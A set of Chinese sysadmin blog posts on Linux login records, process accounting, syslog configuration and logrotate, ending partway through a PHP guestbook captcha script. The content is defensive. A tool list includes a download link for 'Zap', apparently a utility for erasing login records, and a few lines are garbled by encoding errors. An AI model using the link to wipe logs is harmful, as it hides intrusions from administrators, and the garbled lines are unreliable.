Utmp、Wtmp和Lastlog日志文件是多数重用UNIX日志子系统的关键——保持用户登录进入和退出的纪录。有关当前登录用户的信息记录在文件Utmp中;登录进入和退出纪录在文件Wtmp中;最后一次登录文件可以用“Lastlog”命令察看。数据交换、关机和重起也记录在Wtmp文件中。所有的纪录都包含时间戳。这些文件(Lastlog通常不大)在具有大量用户的系统中增长十分迅速。例如Wtmp文件可以无限增长,除非定期截取。许多系统以一天或者一周为单位把Wtmp配置成循环使用。它通常由Cron运行的脚本来修改。这些脚本重新命名并循环使用Wtmp文件。

小知识:通常Wtmp在第一天结束后命名为Wtmp.1;第二天后Wtmp.1变为Wtmp.2,直到Wtmp.7。

每次有一个用户登录时,Login程序在文件Lastlog中察看用户的UID。如果找到了,则把用户上次登录、退出时间和主机名写到标准输出中,然后Login程序在Lastlog中纪录新的登录时间。在新的Lastlog纪录写入后,Utmp文件打开并插入用户的Utmp纪录。该纪录一直用到用户登录退出时删除。Utmp文件被各种命令文件使用,包括Who、Users和Finger。下一步,Login程序打开文件Wtmp附加用户的Utmp纪录。当用户登录退出时,具有更新时间戳的同一Utmp纪录附加到文件中。Wtmp文件被程序Last和AC使用。

查看具体日志
Wtmp和Utmp文件都是二进制文件,它们不能被诸如Tail命令剪贴或合并(需要使用Cat命令),用户需要使用Who、W、Users、Last和AC来使用这两个文件包含的信息。
1.Who:该命令查询Utmp文件并报告当前登录的每个用户。Who的缺省输出包括用户名、终端类型、登录日期及远程主机。例如输入Who回车后显示:
chyang pts/0 Aug 18 15:06
ynguo pts/2 Aug 18 15:32
ynguo pts/3 Aug 18 13:55
lewis pts/4 Aug 18 13:35
ynguo pts/7 Aug 18 14:12
ylou pts/8 Aug 18 14:15
如果指明了Wtmp文件名,则Who命令查询所有以前的纪录。命令“Who /var/log/Wtmp”将报告从Wtmp文件创建或删改以来的每一次登录。
2.W:该命令查询Utmp文件并显示当前系统中每个用户和它所运行的进程信息。
3.Users:Users用单独的一行显示出当前登录的用户,每个显示的用户名对应一个登录会话。如果一个用户有不止一个登录会话,那他的用户名将显示相同的次数。例如输入Users回车后显示:
chyang lewis lewis ylou ynguo ynguo
4.Last:Last命令往回搜索Wtmp,显示从文件第一次创建以来登录过的用户。例如:
chyang pts/9 202.38.68.242 Tue Aug 1 08:34 - 11:23 (02:49)
cfan pts/6 202.38.64.224 Tue Aug 1 08:33 - 08:48 (00:14)
chyang pts/4 202.38.68.242 Tue Aug 1 08:32 - 12:13 (03:40)
lewis pts/3 202.38.64.233 Tue Aug 1 08:06 - 11:09 (03:03)
lewis pts/2 202.38.64.233 Tue Aug 1 07:56 - 11:09 (03:12)
如果指明了用户,那么Last只报告该用户的近期活动,例如:last ynguo显示:
ynguo pts/4 simba.nic.ustc.e Fri Aug 4 16:50 - 08:20 (15:30)
ynguo pts/4 simba.nic.ustc.e Thu Aug 3 23:55 - 04:40 (04:44)
ynguo pts/11 simba.nic.ustc.e Thu Aug 3 20:45 - 22:02 (01:16)
ynguo pts/0 simba.nic.ustc.e Thu Aug 3 03:17 - 05:42 (02:25)
5.AC:AC命令根据当前的/var/log/Wtmp文件中的登录进入和退出来报告用户连结的时间(小时),如果不使用标志,则报告总的时间。例如:ac,显示:
total 5177.47
ac -d(回车)显示每天的总的连结时间:
Aug 12 total 261.87
Aug 13 total 351.39
Aug 14 total 396.09
Aug 15 total 462.63
Aug 16 total 270.45
ac -p(回车)显示每个用户的总的连接时间:
ynguo 193.23
yucao 3.35
rong 133.40
hdai 10.52
6.Lastlog:Lastlog文件在每次有用户登录时被查询。可以使用Lastlog命令来检查某特定用户上次登录的时间,并格式化输出上次登录日志/var/log/Lastlog的内容。它根据UID排序显示登录名、端口号(tty)和上次登录时间。例如:
rong 5 202.38.64.187 Fri
Aug 18 15:57:01 +0800 2000
dbb
**Never logged in**
xinchen
**Never logged in**
pb9511
**Never logged in**

小知识:如果一个用户从未登录过,Lastlog显示"**Never logged**。注意这个命令需要以ROOT权限运行。

另外,可在命令后加一些参数实现其它的功能,例如“last -u 102”将报告UID为102的用户,“last -t 7”表示限制上一周的报告。

进程审查
UNIX可以跟踪每个用户运行的每条命令,如果想知道昨晚别人弄乱了哪些重要的文件,进程统计子系统可以告诉你,这一点无疑对跟踪入侵者很有帮助。与连接时间日志不同,进程统计子系统缺省不激活,它必须启动。在Linux系统中启动进程统计使用Accton命令,必须用ROOT身份来运行。先使用Touch命令来创建Pacct文件:
touch /var/log/pact
然后运行Accton:
Accton /var/log/pact
一旦Accton被激活,就可以使用Lastcomm命令监测系统中任何时候执行的命令。若要关闭统计,可以使用不带任何参数的Accton命令。

小知识:Lastcomm命令报告以前执行的文件。不带参数时,Lastcomm命令显示当前统计文件生命周期内纪录的所有命令的有关信息。包括命令名、用户、TTY、命令耗费的CPU时间和一个时间戳。如果系统有许多用户,输入则可能很长。

进程统计存在的一个问题是Pacct文件可能增长的十分迅速。这时需要交互式或经过Cron机制运行SA命令来保持日志数据在系统控制内。

小知识:SA命令报告、清理并维护进程统计文件。它能把/var/log/pacct中的信息压缩到摘要文件/var/log/savacct和/var/log/usracct中。这些摘要包含按命令名和用户名分类的系统统计数据。SA缺省情况下先读它们,然后读Pacct文件,使报告能包含所有的可用信息。SA的输出有下面一些标记项:

Avio——每次执行的平均I/O操作次数
Cp——用户和系统时间总和,以分钟计
Cpu——和cp一样
K——内核使用的平均CPU时间,以1k为单位
K*sec——CPU存储完整性,以1k-core秒

Syslog设备
Syslog已被许多日志函数采纳,它用在许多保护措施中。Syslog可以纪录系统事件并写到一个文件或设备中,或给用户发送一个信息。它能纪录本地事件或通过网络纪录另一个主
机上的事件。
Syslog设备依据两个重要的文件:/etc/Syslogd(守护进程)和/etc/Syslog.conf配置文件,习惯上,多数Syslog信息被写到/var/adm或/var/log目录下的信息文件(messages.*)中。一个典型的Syslog纪录包括生成程序的名字和一个文本信息。它还包括一个设备和一个优先级范围,每个Syslog消息被赋予下面的主要设备之一:
LOG_AUTH——认证系统:Login、SU、Getty等。
LOG_CRON——Cron守护进程。
LOG_DAEMON——其它系统守护进程,如Routed。
LOG_FTP——文件传输协议:Ftpd、Tftpd。
LOG_KERN——内核产生的消息。
LOG_MAIL——电子邮件系统。
LOG_SYSLOG——由Syslogd(8)产生的内部消息。
LOG_LOCAL0~LOG_LOCAL7——本地使用保留。
Syslog为每个事件赋予几个不同的优先级:
LOG_EMERG——紧急情况。
LOG_ALERT——应该被立即改正的问题,如系统数据库破坏。
LOG_CRIT——重要情况,如硬盘错误。
LOG_ERR——错误。
LOG_WARNING——警告信息。
LOG_NOTICE——不是错误情况,但是可能需要处理。
LOG_INFO——情报信息。
Syslog.conf文件指明Syslogd程序纪录日志的行为,该程序在启动时查询配置文件。该文件由不同程序或消息分类的单个条目组成,每个占一行。对每类消息提供一个选择域和一个动作域。这些域由Tab隔开:选择域指明消息的类型和优先级;动作域指明Syslogd接收到一个与选择标准相匹配的消息时所执行的动作。每个选项是由设备和优先级组成。当指明一个优先级时,Syslogd将纪录一个拥有相同或更高优先级的消息。所以如果指明“crit”,那所有标为Crit、Alert和Emerg的消息将被纪录。每行的行动域指明当选择域选择了一个给定消息后应该把他发送到哪儿。例如,如果想把所有邮件消息纪录到一个文件中,如下:
#Log all the mail messages in one place mail.* /var/log/maillog
其它设备也有自己的日志,UUCP和News设备能产生许多外部消息。它把这些消息存到自己的日志(/var/log/spooler)中并把级别限为“err”或更高。例如:
# Save mail and news errors of level err and higher in aspecial file.uucp,news.crit /var/log/spooler
当一个紧急消息到来时,可能想让所有的用户都得到。也可能想让自己的日志接收并保存:
#Everybody gets emergency messages, plus log them on anther machine *.emerg * *.emerg @linuxaid.com.cn
Alert消息应该写到ROOT和Tiger的个人账号中:
#ROOT and Tiger get alert and higher messages *.alert ROOT,tiger

小提示:有时Syslogd将产生大量的消息,例如内核(Kern设备)可能很冗长,用户可能想把内核消息纪录到/dev/console中。下面的例子表明内核日志纪录被注释掉了:
#Log all kernel messages to the console
#Logging much else clutters up the screen
#kern.* /dev/console

用户可以在一行中指明所有的设备。下面的例子把Info或更高级别的消息送到/var/log/messages,除了Mail以外。级别“none”禁止一个设备:
#Log anything(except mail)of level info or higher
#Don't log private authentication messages!
*.info:mail.none;authpriv.none /var/log/messages
在有些情况下可以把日志送到打印机,这样网络入侵者怎么修改日志都没有用了。

小提示:有个小命令Logger为Syslog(3)系统日志文件提供一个Shell命令接口,使用户能创建日志文件中的条目。例如:logger This is a test。它将产生一个如下的Syslog纪录:
Aug 19 22:22:34 tiger: This is a test!
所以不要完全相信日志,因为攻击者很容易修改它的。

通过上面对Linux的日志了解,我们就可以更好的实时监测系统状态,监测和追踪侵入者的行踪了!

Posted by vitter at 2008-08-14 15:31:50 | 评论 (0) | 引用

使用logrotate 管理日志文件

对于Linux 的系统安全来说,日志文件是极其重要的工具。系统管理员可以使用logrotate 程序用来管理系统中的最新的事件。

对于Linux 的系统安全来说,日志文件是极其重要的工具。
系统管理员可以使用logrotate 程序用来管理系统中的最新的事件。logrotate 还可以用来备份日志文件,本篇将通过以下几部分来介绍

日志文件的管理:
1、logrotate 配置
2、缺省配置 logrotate
3、使用include 选项读取其他配置文件
4、使用include 选项覆盖缺省配置
5、为指定的文件配置转储参数

一、logrotate 配置

logrotate 程序是一个日志文件管理工具。用来把旧的日志文件删除,并创建新的日志文件,我们把它叫做“转储”。我们可以根据日志文件的大小,也可以根据其天数来转储,这个过程一般通过 cron 程序来执行。
logrotate 程序还可以用于压缩日志文件,以及发送日志到指定的E-mail 。

logrotate 的配置文件是 /etc/logrotate.conf。主要参数如下表:

参数 功能
compress 通过gzip 压缩转储以后的日志
nocompress 不需要压缩时,用这个参数
copytruncate 用于还在打开中的日志文件,把当前日志备份并截断
nocopytruncate 备份日志文件但是不截断
create mode owner group 转储文件,使用指定的文件模式创建新的日志文件
nocreate 不建立新的日志文件
delaycompress 和 compress 一起使用时,转储的日志文件到下一次转储时才压缩
nodelaycompress 覆盖 delaycompress 选项,转储同时压缩。
errors address 专储时的错误信息发送到指定的Email 地址
ifempty 即使是空文件也转储,这个是 logrotate 的缺省选项。
notifempty 如果是空文件的话,不转储
mail address 把转储的日志文件发送到指定的E-mail 地址
nomail 转储时不发送日志文件
olddir directory 转储后的日志文件放入指定的目录,必须和当前日志文件在同一个文件系统
noolddir 转储后的日志文件和当前日志文件放在同一个目录下
prerotate/endscript 在转储以前需要执行的命令可以放入这个对,这两个关键字必须单独成行
postrotate/endscript 在转储以后需要执行的命令可以放入这个对,这两个关键字必须单独成行
daily 指定转储周期为每天
weekly 指定转储周期为每周
monthly 指定转储周期为每月
rotate count 指定日志文件删除之前转储的次数,0 指没有备份,5 指保留5 个备份
tabootext [+] list 让logrotate 不转储指定扩展名的文件,缺省的扩展名是:.rpm-orig, .rpmsave, v, 和 ~
size size 当日志文件到达指定的大小时才转储,Size 可以指定 bytes (缺省)以及KB (sizek)或者MB (sizem).

二、缺省配置 logrotate

logrotate 缺省的配置募??/etc/logrotate.conf。
Red Hat Linux 缺省安装的文件内容是:

# see "man logrotate" for details
# rotate log files weekly
weekly

# keep 4 weeks worth of backlogs
rotate 4

# send errors to root
errors root
# create new (empty) log files after rotating old ones
create

# uncomment this if you want your log files compressed
#compress
1
# RPM packages drop log rotation information into this directory
include /etc/logrotate.d

# no packages own lastlog or wtmp --we'll rotate them here
/var/log/wtmp {
monthly
create 0664 root utmp
rotate 1
}

/var/log/lastlog {
monthly
rotate 1
}

# system-specific logs may be configured here

缺省的配置一般放在logrotate.conf 文件的最开始处,影响整个系统。在本例中就是前面12行。

第三行weekly 指定所有的日志文件每周转储一次。
第五行 rotate 4 指定转储文件的保留 4份。
第七行 errors root 指定错误信息发送给root。
第九行create 指定 logrotate 自动建立新的日志文件,新的日志文件具有和
原来的文件一样的权限。
第11行 #compress 指定不压缩转储文件,如果需要压缩,去掉注释就可以了。

三、使用include 选项读取其他配置文件
include 选项允许系统管理员把分散到几个文件的转储信息,集中到一个
主要的配置文件。当 logrotate 从logrotate.conf 读到include 选项时,会从指定文件读入配置信息,就好像他们已经在/etc/logrotate.conf 中一样。

第13行 include /etc/logrotate.d 告诉 logrotate 读入存放在/etc/logrotate.d 目录中的日志转储参数,当系统中安装了RPM 软件包时,使用include 选项十分有用。RPM 软件包的日志转储参数一般存放在/etc/logrotate.d 目录。

include 选项十分重要,一些应用把日志转储参数存放在 /etc/logrotate.d 。

典型的应用有:apache, linuxconf, samba, cron 以及syslog。

这样,系统管理员只要管理一个 /etc/logrotate.conf 文件就可以了。

四、使用include 选项覆盖缺省配置

当 /etc/logrotate.conf 读入文件时,include 指定的文件中的转储参数将覆盖缺省的参数,如下例:

# linuxconf 的参数
/var/log/htmlaccess.log
{ errors jim
notifempty
nocompress
weekly
prerotate
/usr/bin/chattr -a /var/log/htmlaccess.log
endscript
postrotate
/usr/bin/chattr +a /var/log/htmlaccess.log
endscript
}
/var/log/netconf.log
{ nocompress
monthly
}

在这个例子中,当 /etc/logrotate.d/linuxconf 文件被读入时,下面的参数将覆盖/etc/logrotate.conf中缺省的参数。

Notifempty
errors jim

五、为指定的文件配置转储参数
经常需要为指定文件配置参数,一个常见的例子就是每月转储/var/log/wtmp。为特定文件而使用的参数格式是:

# 注释
/full/path/to/file
{
option(s)
}

下面的例子就是每月转储 /var/log/wtmp 一次:
#Use logrotate to rotate wtmp
/var/log/wtmp
{
monthly
rotate 1
}

六、其他需要注意的问题

1、尽管花括号的开头可以和其他文本放在同一行上,但是结尾的花括号必须单独成行。

2、使用 prerotate 和 postrotate 选项
下面的例子是典型的脚本 /etc/logrotate.d/syslog,这个脚本只是对
/var/log/messages 有效。

/var/log/messages
{
prerotate
/usr/bin/chattr -a /var/log/messages
endscript
postrotate
/usr/bin/kill -HUP syslogd
/usr/bin/chattr +a /var/log/messages
endscript
}

第一行指定脚本对 /var/log messages 有效
花ê哦阅诓康慕疟驹诵杏? /var/log/messages
prerotate 命令指定转储以前的动作/usr/bin/chattr -a 去掉/var/log/messages文件的“只追加”属性 endscript 结束 prerotate 部分的脚本postrotate 指定转储后的动作

/usr/bin/killall -HUP syslogd

用来重新初始化系统日志守护程序 syslogd

/usr/bin/chattr +a /var/log/messages

重新为 /var/log/messages 文件指定“只追加”属性,这样防治程序员或用户覆盖此文件。

最后的 endscript 用于结束 postrotate 部分的脚本

3、logrotate 的运行分为三步:

判断系统的日志文件,建立转储计划以及参数,通过cron daemon 运行下面的代码是 Red Hat Linux 缺省的crontab 来每天运行logrotate。

#/etc/cron.daily/logrotate
#! /bin/sh

/usr/sbin/logrotate /etc/logrotate.conf

4、/var/log/messages 不能产生的原因:
这种情况很少见,但是如果你把/etc/services 中的 514/UDP 端口关掉的话,这个文件就不能产生了。

小结:本文通过对Red Hat 系统上典型的logrotate 配置例子的介绍,详细说明了logrotate 程序的应用方法。希望对所有Linux 系统管理员有所帮助。管理好,分析好日志文件是系统安全的第一步,在以后的文章里FreeLAMP还会介绍另外一个检查日志的好东东 logcheck。

PS:最近有朋友问一些日志相关的,如何通过日志查入侵迹象的问题,就贴几篇log相关的文档。

Posted by vitter at 2008-08-14 12:03:50 | 评论 (0) | 引用

理解Linux系统的日志

1. 日志简介

  日志对于安全来说,非常重要,他记录了系统每天发生的各种各样的事情,你可以通过他来检查错误发生的原因,或者受到攻击时攻击者留下的痕迹。日志主要的功能有:审计和监测。他还可以实时的监测系统状态,监测和追踪侵入者等等。

  在Linux系统中,有三个主要的日志子系统:

  连接时间日志--由多个程序执行,把纪录写入到/var/log/wtmp和/var/run/utmp,login等程序更新wtmp和utmp文件,使系统管理员能够跟踪谁在何时登录到系统。

  进程统计--由系统内核执行。当一个进程终止时,为每个进程往进程统计文件(pacct或acct)中写一个纪录。进程统计的目的是为系统中的基本服务提供命令使用统计。

  错误日志--由syslogd(8)执行。各种系统守护进程、用户程序和内核通过syslog(3)向文件/var/log/messages报告值得注意的事件。另外有许多UNIX程序创建日志。像HTTP和FTP这样提供网络服务的服务器也保持详细的日志。

  常用的日志文件如下:

  access-log 纪录HTTP/web的传输

  acct/pacct 纪录用户命令

  aculog 纪录MODEM的活动

  btmp 纪录失败的纪录

  lastlog 纪录最近几次成功登录的事件和最后一次不成功的登录

  messages 从syslog中记录信息(有的链接到syslog文件)

  sudolog 纪录使用sudo发出的命令

  sulog 纪录使用su命令的使用

  syslog 从syslog中记录信息(通常链接到messages文件)

  utmp 纪录当前登录的每个用户

  wtmp 一个用户每次登录进入和退出时间的永久纪录

  xferlog 纪录FTP会话

  utmp、wtmp和lastlog日志文件是多数重用UNIX日志子系统的关键--保持用户登录进入和退出的纪录。有关当前登录用户的信息记录在文件utmp中;登录进入和退出纪录在文件wtmp中;最后一次登录文件可以用lastlog命令察看。数据交换、关机和重起也记录在wtmp文件中。所有的纪录都包含时间戳。这些文件(lastlog通常不大)在具有大量用户的系统中增长十分迅速。例如wtmp文件可以无限增长,除非定期截取。许多系统以一天或者一周为单位把wtmp配置成循环使用。它通常由cron运行的脚本来修改。这些脚本重新命名并循环使用wtmp文件。通常,wtmp在第一天结束后命名为wtmp.1;第二天后wtmp.1变为wtmp.2等等,直到wtmp.7。

  每次有一个用户登录时,login程序在文件lastlog中察看用户的UID。如果找到了,则把用户上次登录、退出时间和主机名写到标准输出中,然后login程序在lastlog中纪录新的登录时间。在新的lastlog纪录写入后,utmp文件打开并插入用户的utmp纪录。该纪录一直用到用户登录退出时删除。utmp文件被各种命令文件使用,包括who、w、users和finger。

  下一步,login程序打开文件wtmp附加用户的utmp纪录。当用户登录退出时,具有更新时间戳的同一utmp纪录附加到文件中。wtmp文件被程序last和ac使用。

  2. 具体命令

  wtmp和utmp文件都是二进制文件,他们不能被诸如tail命令剪贴或合并(使用cat命令)。用户需要使用who、w、users、last和ac来使用这两个文件包含的信息。

  who:who命令查询utmp文件并报告当前登录的每个用户。Who的缺省输出包括用户名、终端类型、登录日期及远程主机。例如:who(回车)显示

chyang pts/0 Aug 18 15:06
ynguo pts/2 Aug 18 15:32
ynguo pts/3 Aug 18 13:55
lewis pts/4 Aug 18 13:35
ynguo pts/7 Aug 18 14:12
ylou pts/8 Aug 18 14:15

  如果指明了wtmp文件名,则who命令查询所有以前的纪录。命令who /var/log/wtmp将报告自从wtmp文件创建或删改以来的每一次登录。

  w:w命令查询utmp文件并显示当前系统中每个用户和它所运行的进程信息。例如:w(回车)显示:3:36pm up 1 day, 22:34, 6 users, load average: 0.23, 0.29, 0.27

USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
chyang pts/0 202.38.68.242 3:06pm 2:04 0.08s 0.04s -bash
ynguo pts/2 202.38.79.47 3:32pm 0.00s 0.14s 0.05s w
lewis pts/3 202.38.64.233 1:55pm 30:39 0.27s 0.22s -bash
lewis pts/4 202.38.64.233 1:35pm 6.00s 4.03s 0.01s sh /home/users/
ynguo pts/7 simba.nic.ustc.e 2:12pm 0.00s 0.47s 0.24s telnet mail
ylou pts/8 202.38.64.235 2:15pm 1:09m 0.10s 0.04s -bash

  users:users用单独的一行打印出当前登录的用户,每个显示的用户名对应一个登录会话。如果一个用户有不止一个登录会话,那他的用户名将显示相同的次数。例如:users(回车)显示:chyang lewis lewis ylou ynguo ynguo

  last:last命令往回搜索wtmp来显示自从文件第一次创建以来登录过的用户。例如:

chyang pts/9 202.38.68.242 Tue Aug 1 08:34 - 11:23 (02:49)
cfan pts/6 202.38.64.224 Tue Aug 1 08:33 - 08:48 (00:14)
chyang pts/4 202.38.68.242 Tue Aug 1 08:32 - 12:13 (03:40)
lewis pts/3 202.38.64.233 Tue Aug 1 08:06 - 11:09 (03:03)
lewis pts/2 202.38.64.233 Tue Aug 1 07:56 - 11:09 (03:12)

  如果指明了用户,那么last只报告该用户的近期活动,例如:last ynguo(回车)显示:

ynguo pts/4 simba.nic.ustc.e Fri Aug 4 16:50 - 08:20 (15:30)
ynguo pts/4 simba.nic.ustc.e Thu Aug 3 23:55 - 04:40 (04:44)
ynguo pts/11 simba.nic.ustc.e Thu Aug 3 20:45 - 22:02 (01:16)
ynguo pts/0 simba.nic.ustc.e Thu Aug 3 03:17 - 05:42 (02:25)
ynguo pts/0 simba.nic.ustc.e Wed Aug 2 01:04 - 03:16 1+02:12)
ynguo pts/0 simba.nic.ustc.e Wed Aug 2 00:43 - 00:54 (00:11)
ynguo pts/9 simba.nic.ustc.e Thu Aug 1 20:30 - 21:26 (00:55)

  ac:ac命令根据当前的/var/log/wtmp文件中的登录进入和退出来报告用户连结的时间(小时),如果不使用标志,则报告总的时间。例如:ac(回车)显示:total 5177.47

  ac -d(回车)显示每天的总的连结时间

Aug 12 total 261.87
Aug 13 total 351.39
Aug 14 total 396.09
Aug 15 total 462.63
Aug 16 total 270.45
Aug 17 total 104.29
Today total 179.02

  ac -p (回车)显示每个用户的总的连接时间

ynguo 193.23
yucao 3.35
rong 133.40
hdai 10.52
zjzhu 52.87
zqzhou 13.14
liangliu 24.34
total 5178.24

  lastlog:lastlog文件在每次有用户登录时被查询。可以使用lastlog命令来检查某特定用户上次登录的时间,并格式化输出上次登录日志/var/log/lastlog的内容。它根据UID排序显示登录名、端口号(tty)和上次登录时间。如果一个用户从未登录过,lastlog显示"**Never logged**。注意需要以root运行该命令,例如:

rong 5 202.38.64.187 Fri Aug 18 15:57:01 +0800 2000
dbb **Never logged in**
xinchen **Never logged in**
pb9511 **Never logged in**
xchen 0 202.38.64.190 Sun Aug 13 10:01:22 +0800 2000

  另外,可一加一些参数,例如,last -u 102将报告UID为102的用户;last -t 7表示限制上一周的报告。

  3. 进程统计

  UNIX可以跟踪每个用户运行的每条命令,如果想知道昨晚弄乱了哪些重要的文件,进程统计子系统可以告诉你。它对还跟踪一个侵入者有帮助。与连接时间日志不同,进程统计子系统缺省不激活,它必须启动。在Linux系统中启动进程统计使用accton命令,必须用root身份来运行。Accton命令的形式accton file,file必须先存在。先使用touch命令来创建pacct文件:touch /var/log/pacct,然后运行accton: accton /var/log/pacct。一旦accton被激活,就可以使用lastcomm命令监测系统中任何时候执行的命令。若要关闭统计,可以使用不带任何参数的accton命令。

  lastcomm命令报告以前执行的文件。不带参数时,lastcomm命令显示当前统计文件生命周期内纪录的所有命令的有关信息。包括命令名、用户、tty、命令花费的CPU时间和一个时间戳。如果系统有许多用户,输入则可能很长。下面的例子:

crond F root ?? 0.00 secs Sun Aug 20 00:16
promisc_check.s S root ?? 0.04 secs Sun Aug 20 00:16
promisc_check root ?? 0.01 secs Sun Aug 20 00:16
grep root ?? 0.02 secs Sun Aug 20 00:16
tail root ?? 0.01 secs Sun Aug 20 00:16
sh root ?? 0.01 secs Sun Aug 20 00:15
ping S root ?? 0.01 secs Sun Aug 20 00:15
ping6.pl F root ?? 0.01 secs Sun Aug 20 00:15
sh root ?? 0.01 secs Sun Aug 20 00:15
ping S root ?? 0.02 secs Sun Aug 20 00:15
ping6.pl F root ?? 0.02 secs Sun Aug 20 00:15
sh root ?? 0.02 secs Sun Aug 20 00:15
ping S root ?? 0.00 secs Sun Aug 20 00:15
ping6.pl F root ?? 0.01 secs Sun Aug 20 00:15
sh root ?? 0.01 secs Sun Aug 20 00:15
ping S root ?? 0.01 secs Sun Aug 20 00:15
sh root ?? 0.02 secs Sun Aug 20 00:15
ping S root ?? 1.34 secs Sun Aug 20 00:15
locate root ttyp0 1.34 secs Sun Aug 20 00:15
accton S root ttyp0 0.00 secs Sun Aug 20 00:15

  进程统计的一个问题是pacct文件可能增长的十分迅速。这时需要交互式的或经过cron机制运行sa命令来保持日志数据在系统控制内。sa命令报告、清理并维护进程统计文件。它能把/var/log/pacct中的信息压缩到摘要文件/var/log/savacct和/var/log/usracct中。这些摘要包含按命令名和用户名分类的系统统计数据。sa缺省情况下先读它们,然后读pacct文件,使报告能包含所有的可用信息。sa的输出有下面一些标记项:

  avio--每次执行的平均I/O操作次数

  cp--用户和系统时间总和,以分钟计

  cpu--和cp一样

  k--内核使用的平均CPU时间,以1k为单位

  k*sec--CPU存储完整性,以1k-core秒

  re--实时时间,以分钟计

  s--系统时间,以分钟计

  tio--I/O操作的总数

  u--用户时间,以分钟计

  例如:

842 173.26re 4.30cp 0avio 358k
2 10.98re 4.06cp 0avio 299k find
9 24.80re 0.05cp 0avio 291k ***other
105 30.44re 0.03cp 0avio 302k ping
104 30.55re 0.03cp 0avio 394k sh
162 0.11re 0.03cp 0avio 413k security.sh*
154 0.03re 0.02cp 0avio 273k ls
56 31.61re 0.02cp 0avio 823k ping6.pl*
2 3.23re 0.02cp 0avio 822k ping6.pl
35 0.02re 0.01cp 0avio 257k md5sum
97 0.02re 0.01cp 0avio 263k initlog
12 0.19re 0.01cp 0avio 399k promisc_check.s
15 0.09re 0.00cp 0avio 288k grep
11 0.08re 0.00cp 0avio 332k awk

  用户还可以根据用户而不是命令来提供一个摘要报告。例如sa -m显示如下:

885 173.28re 4.31cp 0avk
root 879 173.23re 4.31cp 0avk
alias 3 0.05re 0.00cp 0avk
qmailp 3 0.01re 0.00cp 0avk

  4. Syslog设备

  Syslog已被许多日志函数采纳,它用在许多保护措施中--任何程序都可以通过syslog 纪录事件。Syslog可以纪录系统事件,可以写到一个文件或设备中,或给用户发送一个信息。它能纪录本地事件或通过网络纪录另一个主机上的事件。

  Syslog设备依据两个重要的文件:/etc/syslogd(守护进程)和/etc/syslog.conf配置文件,习惯上,多数syslog信息被写到/var/adm或/var/log目录下的信息文件中(messages.*)。一个典型的syslog纪录包括生成程序的名字和一个文本信息。它还包括一个设备和一个优先级范围(但不在日之中出现)。

  每个syslog消息被赋予下面的主要设备之一:

  LOG_AUTH--认证系统:login、su、getty等

  LOG_AUTHPRIV--同LOG_AUTH,但只登录到所选择的单个用户可读的文件中

  LOG_CRON--cron守护进程

  LOG_DAEMON--其他系统守护进程,如routed

  LOG_FTP--文件传输协议:ftpd、tftpd

  LOG_KERN--内核产生的消息

  LOG_LPR--系统打印机缓冲池:lpr、lpd

  LOG_MAIL--电子邮件系统

  LOG_NEWS--网络新闻系统

  LOG_SYSLOG--由syslogd(8)产生的内部消息

  LOG_USER--随机用户进程产生的消息

  LOG_UUCP--UUCP子系统

  LOG_LOCAL0~LOG_LOCAL7--为本地使用保留

  Syslog为每个事件赋予几个不同的优先级:

  LOG_EMERG--紧急情况

  LOG_ALERT--应该被立即改正的问题,如系统数据库破坏

  LOG_CRIT--重要情况,如硬盘错误

  LOG_ERR--错误

  LOG_WARNING--警告信息

  LOG_NOTICE--不是错误情况,但是可能需要处理

  LOG_INFO--情报信息

  LOG_DEBUG--包含情报的信息,通常旨在调试一个程序时使用

  syslog.conf文件指明syslogd程序纪录日志的行为,该程序在启动时查询配置文件。该文件由不同程序或消息分类的单个条目组成,每个占一行。对每类消息提供一个选择域和一个动作域。这些域由tab隔开:选择域指明消息的类型和优先级;动作域指明syslogd接收到一个与选择标准相匹配的消息时所执行的动作。每个选项是由设备和优先级组成。当指明一个优先级时,syslogd将纪录一个拥有相同或更高优先级的消息。所以如果指明"crit",那所有标为crit、alert和emerg的消息将被纪录。每行的行动域指明当选择域选择了一个给定消息后应该把他发送到哪儿。例如,如果想把所有邮件消息纪录到一个文件中,如下:

#Log all the mail messages in one place
mail.* /var/log/maillog

  其他设备也有自己的日志。UUCP和news设备能产生许多外部消息。它把这些消息存到自己的日志(/var/log/spooler)中并把级别限为"err"或更高。例如:

# Save mail and news errors of level err and higher in aspecial file.
uucp,news.crit /var/log/spooler

  当一个紧急消息到来时,可能想让所有的用户都得到。也可能想让自己的日志接收并保存。

#Everybody gets emergency messages, plus log them on anther machine
*.emerg *
*.emerg @linuxaid.com.cn

  alert消息应该写到root和tiger的个人账号中:

#Root and Tiger get alert and higher messages
*.alert root,tiger

  有时syslogd将产生大量的消息。例如内核("kern"设备)可能很冗长。用户可能想把内核消息纪录到/dev/console中。下面的例子表明内核日志纪录被注释掉了:

#Log all kernel messages to the console
#Logging much else clutters up the screen
#kern.* /dev/console

  用户可以在一行中指明所有的设备。下面的例子把info或更高级别的消息送到/var/log/messages,除了mail以外。级别"none"禁止一个设备:

#Log anything(except mail)of level info or higher
#Don't log private authentication messages!
*.info:mail.none;authpriv.none /var/log/messages

  在有些情况下,可以把日志送到打印机,这样网络入侵者怎么修改日志都没有用了。通常要广泛纪录日志。Syslog设备是一个攻击者的显著目标。一个为其他主机维护日志的系统对于防范服务器攻击特别脆弱,因此要特别注意。

  有个小命令logger为syslog(3)系统日志文件提供一个shell命令接口,使用户能创建日志文件中的条目。用法:logger 例如:logger This is a test!

  它将产生一个如下的syslog纪录:Aug 19 22:22:34 tiger: This is a test!

  注意不要完全相信日志,因为攻击者很容易修改它的。

  5. 程序日志

  许多程序通过维护日志来反映系统的安全状态。su命令允许用户获得另一个用户的权限,所以它的安全很重要,它的文件为sulog。同样的还有sudolog。另外,想Apache有两个日志:access_log和error_log。

  6. 其他日志工具

chklastlog
ftp://coast.cs.purdue.edu/pub/tools/unix/chklastlog/
chkwtmp
ftp://coast.cs.purdue.edu/pub/tools/unix/chkwtmp/
dump_lastlog
ftp://coast.cs.purdue.edu/pub/tools/unix/dump_lastlog.Z
spar
ftp://coast.cs.purdue.edu/pub/tools/unix/TAMU/
Swatch
http://www.lomar.org/komar/alek/pres/swatch/cover.html
Zap
ftp://caost.cs.purdue.edu/pub/tools/unix/zap.tar.gz
日志分类方法
http://csrc.nist.gov/nissc/1998/proceedings/paperD1.pdf

Posted by vitter at 2008-08-14 11:55:32 | 评论 (1) | 引用

July 28, 2008

留言板加上验证码

留言板发现N多垃圾留言,没办法这个年代就是垃圾多啊。加个验证码吧。
先写个seccode.php:

<?php
                header ("Content-type: image/png");

                session_start();
                if (!session_is_registered("seccode")){
                        session_register("seccode");
                }

                $seccode = rand(1000, 9999);
